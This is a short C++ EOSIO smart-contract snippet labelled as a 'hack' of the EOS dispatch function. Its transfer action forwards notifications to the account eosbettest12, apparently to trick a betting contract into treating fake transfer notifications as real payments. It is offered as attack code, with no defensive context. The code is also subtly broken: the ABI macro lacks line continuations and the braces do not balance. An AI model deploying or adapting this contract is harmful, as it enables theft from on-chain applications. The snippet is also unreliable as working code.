hack dispatch funtion in EOS

class hackcontract : public eosio::contract
{
  public:
    hackcontract(account_name self) : eosio::contract(self) {}

    void transfer(uint64_t sender, uint64_t receiver)
    {
        require_recipient( N(eosbettest12));
    }
};

#define EOSIO_ABI_EX(TYPE, MEMBERS)
extern "C"
{
void apply(uint64_t receiver, uint64_t code, uint64_t action)
    {
        auto self = receiver;
        if (code == self || code == N(eosio.token)){
            if (action == N(transfer))
            {
                eosio_assert(code == N(eosio.token), "Must transfer EOS");
            }
            TYPE thiscontract(self);
            switch (action)
            {
                EOSIO_API(TYPE, MEMBERS)
            }
    }
}

EOSIO_ABI_EX(hackcontract, (transfer))